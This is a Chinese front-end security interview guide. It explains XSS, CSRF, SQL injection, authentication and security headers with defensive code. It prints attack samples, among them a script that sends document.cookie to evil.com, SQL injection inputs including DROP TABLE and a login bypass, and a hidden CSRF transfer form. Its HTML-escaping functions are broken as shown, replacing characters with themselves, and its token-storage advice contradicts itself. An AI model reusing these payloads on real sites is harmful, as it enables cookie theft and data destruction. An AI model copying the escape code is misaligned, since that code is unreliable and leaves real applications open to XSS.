Web 安全面试指南
核心概念
前端安全是保护用户数据和系统安全的重要环节,面试中经常考察对常见安全漏洞和防护措施的理解。
XSS 攻击
Q1:什么是 XSS 攻击?如何防范?
答:
XSS(Cross-Site Scripting):跨站脚本攻击,攻击者在网页中注入恶意脚本代码。
攻击类型:
| 类型 | 原理 | 危害 |
|---|---|---|
| 存储型 | 恶意代码存储在服务器 | 持久化危害 |
| 反射型 | 恶意代码在 URL 参数中 | 非持久化 |
| DOM 型 | 恶意代码通过 DOM 操作注入 | 客户端执行 |
示例:
html
<!-- 存储型 XSS:评论区注入 -->
<script>
fetch("https://evil.com/steal?cookie=" + document.cookie);
</script>
<!-- 反射型 XSS:URL 参数 -->
https://example.com/search?q=
<script>
alert(1);
</script>
<!-- DOM 型 XSS -->
<script>
document.write("<img src=" + userInput + ">");
</script>防范措施:
javascript
// 1. 输入过滤
function filterInput(input) {
return input
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 2. 输出编码
function encodeOutput(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 3. CSP(Content Security Policy)
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'nonce-random'; style-src 'self' 'unsafe-inline'">
// 4. HttpOnly Cookie
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
// 5. React/Vue 自动转义
// React
return <div>{userInput}</div>; // 自动转义
// Vue
<template>
<div>{{ userInput }}</div> <!-- 自动转义 -->
</template>Q2:XSS 和 CSRF 的区别?
答:
| 特性 | XSS | CSRF |
|---|---|---|
| 攻击位置 | 客户端 | 服务端 |
| 原理 | 注入恶意脚本 | 伪造用户请求 |
| 目的 | 盗取数据/权限 | 执行非用户意愿的操作 |
| 防护 | 输入输出过滤 | Token 验证 |
CSRF 攻击
Q3:什么是 CSRF?如何防范?
答:
CSRF(Cross-Site Request Forgery):跨站请求伪造,诱导用户在其他网站向目标网站发送恶意请求。
攻击原理:
用户已登录 bank.com
↓
访问 evil.com
↓
evil.com 中隐藏表单:
<form action="bank.com/transfer" method="POST">
<input name="to" value="hacker">
<input name="amount" value="10000">
</form>
自动提交 → bank.com/transfer?to=hacker&amount=10000
↓
浏览器自动携带 Cookie
↓
请求成功,钱被转走防范措施:
javascript
// 1. CSRF Token
// 服务器生成随机 Token,验证请求来源
const csrfToken = generateToken();
session.csrfToken = csrfToken;
// 前端请求时携带
fetch('/api/action', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken
},
body: JSON.stringify(data)
});
// 2. SameSite Cookie
Set-Cookie: sessionId=abc123; SameSite=Strict
Set-Cookie: sessionId=abc123; SameSite=Lax // 允许导航带来的 Cookie
// 3. 验证请求来源
function validateOrigin(req) {
const origin = req.headers.origin;
const referer = req.headers.referer;
return origin === 'https://yourdomain.com' ||
referer?.startsWith('https://yourdomain.com');
}
// 4. 双重提交
// Cookie 中的 Token 与表单中的 Token 比对SQL 注入
Q4:什么是 SQL 注入?如何防范?
答:
SQL 注入:通过用户输入拼接 SQL 语句,执行恶意 SQL 命令。
示例:
sql
-- 用户输入: 1 OR 1=1
SELECT * FROM users WHERE id = 1 OR 1=1
-- 用户输入: 1; DROP TABLE users;
SELECT * FROM users WHERE id = 1; DROP TABLE users;
-- 用户输入: ' OR '1'='1
SELECT * FROM users WHERE name = '' OR '1'='1' AND password = ''防范措施:
javascript
// 1. 参数化查询(最佳方案)
const query = "SELECT * FROM users WHERE id = ?";
db.execute(query, [userId]);
// 2. 使用 ORM
// Sequelize
const user = await User.findOne({ where: { id: userId } });
// Prisma
const user = await prisma.user.findUnique({ where: { id: userId } });
// 3. 输入验证
function validateInput(input) {
const schema = Joi.object({
id: Joi.number().integer().min(1).required(),
name: Joi.string()
.max(100)
.pattern(/^[a-zA-Z0-9]+$/),
});
return schema.validate(input);
}
// 4. 权限控制
// 应用程序使用最小权限账户身份认证安全
Q5:如何安全地实现登录认证?
答:
1. 密码存储
javascript
// 错误:明文存储
// NEVER do this!
users.password = password;
// 正确:使用 bcrypt 哈希
const bcrypt = require("bcrypt");
const saltRounds = 12;
async function hashPassword(password) {
return await bcrypt.hash(password, saltRounds);
}
async function verifyPassword(password, hash) {
return await bcrypt.compare(password, hash);
}
// 注册
async function register(username, password) {
const hash = await hashPassword(password);
await db.query("INSERT INTO users VALUES (?, ?)", [username, hash]);
}
// 登录
async function login(username, password) {
const [users] = await db.query("SELECT * FROM users WHERE username = ?", [username]);
const user = users[0];
if (user && (await verifyPassword(password, user.password))) {
return generateSession(user);
}
throw new Error("Invalid credentials");
}2. Session 管理
javascript
// 1. 安全 Cookie 设置
Set-Cookie: sessionId=xxx; HttpOnly; Secure; SameSite=Strict; Path=/
// 2. Session 过期
const sessionTTL = 24 * 60 * 60 * 1000; // 24小时
// 定期检查 session 有效性
// 3. Session 固定防护
// 登录成功后重新生成 session ID
function loginSuccess(user) {
regenerateSessionId(); // 重要!
setSession(user);
}3. JWT 安全使用
javascript
// 1. 短期访问令牌
const accessToken = jwt.sign({ userId: user.id }, ACCESS_SECRET, { expiresIn: "15m" });
// 2. 长期刷新令牌
const refreshToken = jwt.sign({ userId: user.id, type: "refresh" }, REFRESH_SECRET, { expiresIn: "7d" });
// 3. 验证时检查
function verifyToken(token, secret) {
try {
const decoded = jwt.verify(token, secret);
return { valid: true, data: decoded };
} catch (err) {
return { valid: false, error: err.message };
}
}
// 4. 黑名单机制
const blacklist = new Set();
function revokeToken(token) {
const decoded = jwt.decode(token);
const exp = decoded.exp * 1000;
const ttl = exp - Date.now();
blacklist.add(token);
setTimeout(() => blacklist.delete(token), ttl);
}Q6:什么是 Token 认证 vs Session 认证?
答:
| 特性 | Token (JWT) | Session |
|---|---|---|
| 存储位置 | 客户端 | 服务端 |
| 扩展性 | 跨域容易 | 跨域需共享 |
| 性能 | 无服务端查询 | 需要查询 Session |
| 安全性 | 难以失效 | 可即时失效 |
| 体积 | 较大 | 较小 |
选择建议:
- 移动端/多平台 → Token
- 服务端渲染/单域应用 → Session
数据安全
Q7:如何保护敏感数据?
答:
1. 传输加密
javascript
// HTTPS 强制使用
// Nginx 配置
server {
listen 443 ssl http2;
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
ssl_protocols TLSv1.2 TLSv1.3;
}
// 前端强制 HTTPS
if (location.protocol !== 'https:') {
location.href = 'https:' + window.location.href.substring(window.location.protocol.length);
}2. 前端敏感数据处理
javascript
// 1. 敏感数据不存储在前端
// 错误
localStorage.setItem("token", token);
localStorage.setItem("password", password);
// 正确:使用 HttpOnly Cookie
// 敏感数据只存内存
const token = sessionStorage.getItem("token");
// 2. 请求时去除敏感数据日志
function sanitizeForLog(obj) {
const sensitive = ["password", "token", "creditCard"];
return Object.fromEntries(Object.entries(obj).filter(([key]) => !sensitive.includes(key)));
}
// 3. 重要操作二次验证
async function sensitiveOperation(action) {
const code = await promptVerificationCode();
const verified = await verifyCode(code);
if (verified) {
return executeAction(action);
}
throw new Error("Verification failed");
}3. 加密存储
javascript
// 使用 crypto-js 客户端加密(注意:这只是混淆,真正的加密在服务端)
const CryptoJS = require("crypto-js");
function encrypt(data, secret) {
return CryptoJS.AES.encrypt(JSON.stringify(data), secret).toString();
}
function decrypt(encrypted, secret) {
const bytes = CryptoJS.AES.decrypt(encrypted, secret);
return JSON.parse(bytes.toString(CryptoJS.enc.Utf8));
}常见安全头
Q8:常用的安全响应头有哪些?
答:
| 响应头 | 作用 | 示例值 |
|---|---|---|
| Content-Security-Policy | 内容安全策略 | default-src 'self' |
| X-Content-Type-Options | 防止 MIME 嗅探 | nosniff |
| X-Frame-Options | 防止点击劫持 | DENY |
| X-XSS-Protection | XSS 过滤器(已废弃) | 1; mode=block |
| Strict-Transport-Security | 强制 HTTPS | max-age=31536000 |
| Referrer-Policy | 引用来源策略 | strict-origin-when-cross-origin |
| Permissions-Policy | 功能策略 | camera=(), microphone=() |
配置示例(Express):
javascript
const helmet = require("helmet");
// 使用 helmet 中间件
app.use(helmet());
// 自定义配置
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-random'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.example.com"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
objectSrc: ["'none'"],
mediaSrc: ["'self'"],
frameSrc: ["'none'"],
},
}),
);
app.use(
helmet.hsts({
maxAge: 31536000,
includeSubDomains: true,
preload: true,
}),
);
app.use(helmet.frameguard({ action: "deny" }));Nginx 配置:
nginx
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-random'" always;前端安全最佳实践
Q9:前端安全开发 checklist?
答:
输入安全:
javascript
// 1. 永远不要相信用户输入
function validateInput(input, schema) {
return schema.validate(input);
}
// 2. 白名单验证
const ALLOWED_CHARS = /^[a-zA-Z0-9_]+$/;
if (!ALLOWED_CHARS.test(input)) {
throw new Error("Invalid input");
}
// 3. 长度限制
if (input.length > MAX_LENGTH) {
throw new Error("Input too long");
}输出安全:
javascript
// 1. HTML 编码
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
// 2. URL 编码
function encodeUrlComponent(str) {
return encodeURIComponent(str)
.replace(/!/g, "%21")
.replace(/'/g, "%27")
.replace(/\(/g, "%28")
.replace(/\)/g, "%29");
}
// 3. JavaScript 编码
function encodeForJs(str) {
return str.replace(/\\/g, "\\\\").replace(/'/g, "\\'").replace(/"/g, '\\"');
}依赖安全:
bash
# 定期检查漏洞
npm audit
npm audit fix
# 使用 lock 文件锁定版本
npm ci # 而不是 npm install
# 检查包签名
npm pack --dry-run代码审查要点:
□ 所有用户输入都经过验证
□ 所有输出都经过编码
□ 敏感数据不存储在 localStorage
□ 使用 HTTPS
□ Cookie 设置 HttpOnly 和 Secure
□ 实现 CSRF 防护
□ 实现 Rate Limiting
□ 实现完善的日志记录
□ 第三方脚本使用 SRIQ10:什么是 SRI?如何使用?
答:
SRI(Subresource Integrity):子资源完整性,验证 CDN 资源的完整性。
html
<!-- 基础使用 -->
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"
></script>
<!-- 生成 SRI 哈希 -->
<!-- 使用 openssl -->
openssl dgst -sha384 -binary < file.js | openssl base64 -ASRI 流程:
浏览器请求资源
↓
获取 integrity 属性值(哈希)
↓
计算下载文件的哈希
↓
比对 integrity 与计算的哈希
↓
匹配 → 执行资源
不匹配 → 阻止执行生成工具:
bash
# 在线生成
# https://www.srihash.org/
# CLI 工具
npm install -g sri-hash
sri-hash https://cdn.example.com/library.js面试综合问题
Q11:如何应对常见的前端攻击?
答:
攻击应对矩阵:
| 攻击类型 | 防护措施 | 优先级 |
|---|---|---|
| XSS | CSP + 输入输出编码 | P0 |
| CSRF | Token + SameSite Cookie | P0 |
| SQL 注入 | 参数化查询 | P0 |
| 点击劫持 | X-Frame-Options | P1 |
| 中间人攻击 | HTTPS | P0 |
| 密码攻击 | 强哈希 + 限流 | P0 |
安全监控:
javascript
// 1. CSP 报告
// Content-Security-Policy-Report-Only 模式
<meta http-equiv="Content-Security-Policy-Report-Only"
content="default-src 'self'; report-uri /csp-report">
// 2. 前端异常监控
window.addEventListener('error', (e) => {
// 过滤正常错误
if (isSecurityRelated(e)) {
reportSecurityEvent(e);
}
});
// 3. 请求签名
function signRequest(data, secret) {
const timestamp = Date.now();
const signature = CryptoJS.HmacSHA256(
JSON.stringify(data) + timestamp,
secret
);
return { ...data, timestamp, signature };
}Q12:密码加密的常见面试问题?
答:
Q: 为什么 MD5/SHA1 不适合密码存储?
A: 这些是快速哈希算法,容易被暴力破解和彩虹表攻击。应该使用专门为密码设计的慢速算法。
Q: bcrypt、scrypt、Argon2 的区别?
A:
| 算法 | 特点 | 建议 |
|---|---|---|
| bcrypt | 可配置 cost 参数,兼容性好 | 广泛使用 |
| scrypt | 内存硬,防护 ASIC | 高安全场景 |
| Argon2 | 2015 年 Password Hashing Competition 冠军 | 新项目首选 |
Q: 为什么要加盐(salt)?
A: 防止彩虹表攻击,确保相同密码产生不同哈希。
javascript
// 不加盐:相同密码产生相同哈希
hash('password123') = 'abc123'
hash('password123') = 'abc123'
// 加盐后
hash('password123' + 'randomSalt1') = 'xyz789'
hash('password123' + 'randomSalt2') = 'def456'